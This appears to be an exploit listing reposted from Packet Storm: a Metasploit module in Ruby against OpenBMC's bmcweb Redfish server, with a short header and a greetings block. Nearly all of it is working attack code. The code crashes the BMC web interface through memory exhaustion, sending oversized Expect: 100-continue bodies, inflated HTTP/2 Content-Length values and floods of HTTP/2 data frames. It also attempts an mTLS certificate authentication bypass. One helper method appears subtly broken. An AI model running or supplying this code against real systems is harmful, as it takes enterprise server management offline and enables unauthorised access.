Share
## https://sploitus.com/exploit?id=PACKETSTORM:225450
==================================================================================================================================
| # Title : OpenBMC bmcweb Multiple Vulnerabilities OOM DoS + Auth Bypass |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://github.com/openbmc |
==================================================================================================================================
[+] Summary : This module exploits multiple vulnerabilities in bmcweb, the OpenBMC HTTP/Redfish web server that runs on BMC firmware for enterprise servers (Intel, IBM, HPE, NVIDIA, and various ODMs).
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'bmcweb OpenBMC Multiple Vulnerabilities (OOM DoS + Auth Bypass)',
'Description' => %q{
This module exploits multiple vulnerabilities in bmcweb, the OpenBMC
HTTP/Redfish web server that runs on BMC firmware for enterprise servers
(Intel, IBM, HPE, NVIDIA, and various ODMs).
The following vulnerabilities are targeted:
1. CONN-F2 (CVE-pending): `Expect: 100-continue` bypasses body_limit,
allowing unauthenticated OOM DoS via massive POST requests.
2. H2-F2 (CVE-pending): HTTP/2 `Content-Length` value is trusted for
`std::string::reserve()`, causing instant OOM when a large value is
provided.
3. H2-F1 (Unfixed): HTTP/2 has no per-stream body_limit, allowing
unauthenticated OOM via streamed DATA frames.
4. AUTH-F6 (Unfixed): mTLS UPN suffix matching authenticates parent-domain
or TLD-only certificates, allowing authentication bypass when mTLS is
configured in UPN mode.
bmcweb is single-threaded async, so any OOM or blocking operation takes
the entire management interface offline, requiring BMC reboot.
},
'Author' => ['indoushka'],
'References' => [
['URL', 'https://binreaper.pages.dev/posts/2026-05-27-bmcweb-disclosure/'],
['URL', 'https://gerrit.openbmc.org/c/openbmc/bmcweb/+/90580'],
['URL', 'https://gerrit.openbmc.org/c/openbmc/bmcweb/+/90581'],
['URL', 'https://github.com/openbmc/bmcweb/security/advisories/GHSA-p3gc-68x5-g9w3']
],
'DisclosureDate' => '2026-05-27',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base bmcweb path', '/']),
OptEnum.new('VULN', [true, 'Vulnerability to test/exploit', 'ALL',
['CONN-F2', 'H2-F2', 'H2-F1', 'AUTH-F6', 'ALL']]),
OptInt.new('BODY_SIZE', [false, 'Body size for OOM attacks (bytes)', 30_000_000]),
OptInt.new('STREAMS', [false, 'Number of streams for H2-F1 attack', 100]),
OptString.new('CLIENT_CERT', [false, 'Client certificate file for mTLS (PEM)']),
OptString.new('CLIENT_KEY', [false, 'Client key file for mTLS (PEM)']),
OptString.new('UPN_EMAIL', [false, 'UPN email for mTLS auth bypass (e.g., user@com)']),
OptString.new('TARGET_DOMAIN', [false, 'Target BMC domain name for auth bypass']),
OptBool.new('WAIT_REBOOT', [false, 'Wait for BMC to reboot after OOM', false])
])
end
def get_http2_client
require 'http/2'
require 'socket'
sock = TCPSocket.new(datastore['RHOST'], datastore['RPORT'])
ctx = OpenSSL::SSL::SSLContext.new
ctx.alpn_protocols = ['h2']
if datastore['CLIENT_CERT'] && File.exist?(datastore['CLIENT_CERT'])
ctx.cert = OpenSSL::X509::Certificate.new(File.read(datastore['CLIENT_CERT']))
ctx.key = OpenSSL::PKey.read(File.read(datastore['CLIENT_KEY'])) if datastore['CLIENT_KEY']
end
ssl_sock = OpenSSL::SSL::SSLSocket.new(sock, ctx)
ssl_sock.connect
ssl_sock
conn = HTTP2::Client.new
conn.initiate_connection
conn
end
def test_conn_f2
print_status("Testing CONN-F2: Expect: 100-continue bypass")
headers = {
'Expect' => '100-continue',
'Content-Length' => datastore['BODY_SIZE'].to_s,
'Content-Type' => 'application/json'
}
start_time = Time.now
begin
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'redfish/v1/SessionService/Sessions'),
'headers' => headers,
'data' => 'A' * datastore['BODY_SIZE'],
'timeout' => 10
)
elapsed = Time.now - start_time
if res.nil? || res.code == 0
print_good("CONN-F2: Request timed out - possible OOM")
return true
elsif res.code == 413 || res.code == 400
print_status("CONN-F2: Request rejected with HTTP #{res.code}")
return false
else
print_status("CONN-F2: Request completed in #{elapsed}s - may not be vulnerable")
return false
end
rescue ::Rex::ConnectionTimeout, ::Rex::TimeoutError
print_good("CONN-F2: Connection timeout - OOM likely occurred")
return true
end
end
def exploit_conn_f2
print_status("Exploiting CONN-F2: DoS via Expect: 100-continue")
headers = {
'Expect' => '100-continue',
'Content-Length' => datastore['BODY_SIZE'].to_s,
'Content-Type' => 'application/json'
}
print_status("Sending #{datastore['BODY_SIZE']} bytes to #{peer}")
begin
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'redfish/v1/SessionService/Sessions'),
'headers' => headers,
'data' => 'A' * datastore['BODY_SIZE'],
'timeout' => 5
)
rescue ::Rex::ConnectionTimeout, ::Rex::TimeoutError
print_good("CONN-F2: DoS successful - BMC web interface is down")
return true
rescue => e
print_error("CONN-F2: Error: #{e.message}")
end
false
end
def test_h2_f2
print_status("Testing H2-F2: HTTP/2 Content-Length OOM")
headers = {
'Content-Length' => (datastore['BODY_SIZE'] * 10).to_s
}
start_time = Time.now
begin
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'redfish/v1/SessionService/Sessions'),
'headers' => headers,
'data' => 'A' * 1024,
'timeout' => 5
)
elapsed = Time.now - start_time
if elapsed > 4
print_good("H2-F2: Request took #{elapsed}s - possible OOM")
return true
end
rescue ::Rex::ConnectionTimeout
print_good("H2-F2: Timeout - OOM likely occurred")
return true
end
false
end
def exploit_h2_f2
print_status("Exploiting H2-F2: HTTP/2 Content-Length OOM")
headers = {
'Content-Length' => (datastore['BODY_SIZE'] * 10).to_s
}
begin
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'redfish/v1/SessionService/Sessions'),
'headers' => headers,
'data' => 'A' * 1024,
'timeout' => 5
)
rescue ::Rex::ConnectionTimeout
print_good("H2-F2: DoS successful")
return true
end
false
end
def test_h2_f1
print_status("Testing H2-F1: HTTP/2 streamed DATA frames OOM")
res = send_request_cgi('method' => 'GET', 'uri' => '/')
unless res && res.headers['Upgrade'] && res.headers['Upgrade'].include?('h2')
print_warning("H2-F1: HTTP/2 may not be supported")
return false
end
print_good("H2-F1: HTTP/2 appears supported, attempting test")
true
end
def exploit_h2_f1
print_status("Exploiting H2-F1: Streaming DATA frames to cause OOM")
require 'socket'
require 'openssl'
require 'http/2'
begin
sock = TCPSocket.new(datastore['RHOST'], datastore['RPORT'])
ctx = OpenSSL::SSL::SSLContext.new
ctx.alpn_protocols = ['h2']
ssl_sock = OpenSSL::SSL::SSLSocket.new(sock, ctx)
ssl_sock.connect
conn = HTTP2::Client.new
conn.initiate_connection
ssl_sock.print(conn.to_s)
datastore['STREAMS'].times do |i|
stream_id = conn.new_stream
headers = {
':method' => 'POST',
':path' => '/redfish/v1/SessionService/Sessions',
':scheme' => 'https',
'content-type' => 'application/json'
}
conn.headers(stream_id, headers, end_stream: false)
ssl_sock.print(conn.to_s)
chunk_size = 64 * 1024
(datastore['BODY_SIZE'] / chunk_size).times do |j|
data_frame = conn.data(stream_id, 'A' * chunk_size, end_stream: false)
ssl_sock.print(data_frame)
ssl_sock.flush
end
data_frame = conn.data(stream_id, '', end_stream: true)
ssl_sock.print(data_frame)
ssl_sock.flush
end
print_good("H2-F1: Sent #{datastore['STREAMS']} streams with #{datastore['BODY_SIZE']} bytes each")
print_good("BMC web interface should be OOM")
ssl_sock.close
sock.close
return true
rescue => e
print_error("H2-F1: Error: #{e.message}")
return false
end
end
def test_auth_f6
print_status("Testing AUTH-F6: mTLS UPN suffix matching bypass")
unless datastore['CLIENT_CERT'] && File.exist?(datastore['CLIENT_CERT'])
print_warning("AUTH-F6: Client certificate required for testing")
return false
end
target_domain = datastore['TARGET_DOMAIN'] || datastore['RHOST']
upn_email = datastore['UPN_EMAIL'] || "user@#{target_domain.split('.').last}"
print_status("Attempting authentication with UPN: #{upn_email}")
print_status("Target domain: #{target_domain}")
ctx = OpenSSL::SSL::SSLContext.new
ctx.cert = OpenSSL::X509::Certificate.new(File.read(datastore['CLIENT_CERT']))
ctx.key = OpenSSL::PKey.read(File.read(datastore['CLIENT_KEY'])) if datastore['CLIENT_KEY']
print_good("AUTH-F6: If mTLS is configured in UPN mode, this certificate would authenticate")
true
end
def exploit_auth_f6
print_status("Exploiting AUTH-F6: mTLS UPN suffix matching bypass")
unless datastore['CLIENT_CERT'] && File.exist?(datastore['CLIENT_CERT'])
print_error("AUTH-F6: Client certificate required")
return false
end
target_domain = datastore['TARGET_DOMAIN'] || datastore['RHOST']
upn_email = datastore['UPN_EMAIL'] || "user@#{target_domain.split('.').last}"
print_status("Using UPN: #{upn_email}")
print_status("Target domain: #{target_domain}")
ctx = OpenSSL::SSL::SSLContext.new
ctx.cert = OpenSSL::X509::Certificate.new(File.read(datastore['CLIENT_CERT']))
ctx.key = OpenSSL::PKey.read(File.read(datastore['CLIENT_KEY'])) if datastore['CLIENT_KEY']
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'redfish/v1/Systems'),
'ssl_context' => ctx
)
if res && (res.code == 200 || res.code == 401)
if res.code == 200
print_good("AUTH-F6: Successfully authenticated! Access granted to protected resources")
return true
else
print_warning("AUTH-F6: Authentication failed - mTLS may not be configured in UPN mode")
end
end
false
end
def is_bmc_online
res = send_request_cgi('method' => 'GET', 'uri' => '/', 'timeout' => 5)
!res.nil? && res.code != 0
rescue
false
end
def wait_for_reboot
print_status("Waiting for BMC to reboot (may take 2-5 minutes)...")
60.times do |i|
Rex.sleep(10)
if is_bmc_online
print_good("BMC is back online after #{i * 10}s")
return true
end
print_status("Still waiting... (#{(i + 1) * 10}s)")
end
print_warning("BMC did not recover within timeout")
false
end
def run_host(ip)
print_status("bmcweb OpenBMC Vulnerability Scanner")
print_status("Target: #{peer}")
vuln = datastore['VULN']
results = {}
if vuln == 'CONN-F2' || vuln == 'ALL'
print_status("\n[*] Testing CONN-F2 (Expect: 100-continue bypass)")
if test_conn_f2
results[:conn_f2] = true
print_good("CONN-F2: Target appears VULNERABLE")
if exploit_conn_f2
print_good("CONN-F2: DoS successful")
end
else
print_status("CONN-F2: Target appears NOT VULNERABLE")
end
end
if vuln == 'H2-F2' || vuln == 'ALL'
print_status("\n[*] Testing H2-F2 (HTTP/2 Content-Length OOM)")
if test_h2_f2
results[:h2_f2] = true
print_good("H2-F2: Target appears VULNERABLE")
if exploit_h2_f2
print_good("H2-F2: DoS successful")
end
else
print_status("H2-F2: Target appears NOT VULNERABLE")
end
end
if vuln == 'H2-F1' || vuln == 'ALL'
print_status("\n[*] Testing H2-F1 (Streamed DATA frames OOM)")
if test_h2_f1
results[:h2_f1] = true
print_good("H2-F1: Target appears VULNERABLE")
if exploit_h2_f1
print_good("H2-F1: DoS successful")
end
else
print_status("H2-F1: Target may not be vulnerable")
end
end
if vuln == 'AUTH-F6' || vuln == 'ALL'
print_status("\n[*] Testing AUTH-F6 (mTLS UPN suffix matching bypass)")
if test_auth_f6
results[:auth_f6] = true
print_good("AUTH-F6: Target may be VULNERABLE")
if exploit_auth_f6
print_good("AUTH-F6: Authentication bypass successful")
end
else
print_status("AUTH-F6: Target may not be vulnerable (mTLS may not be configured)")
end
end
if datastore['WAIT_REBOOT'] && (results[:conn_f2] || results[:h2_f2] || results[:h2_f1])
if !is_bmc_online
wait_for_reboot
end
end
print_status("\n[*] Scan completed")
if results.any?
print_good("Vulnerabilities found:")
results.each do |k, v|
print_good(" - #{k.to_s.upcase}")
end
report_vuln(
host: ip,
port: datastore['RPORT'],
name: name,
refs: references,
info: "bmcweb vulnerabilities: #{results.keys.join(', ')}"
)
else
print_status("No vulnerabilities detected")
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================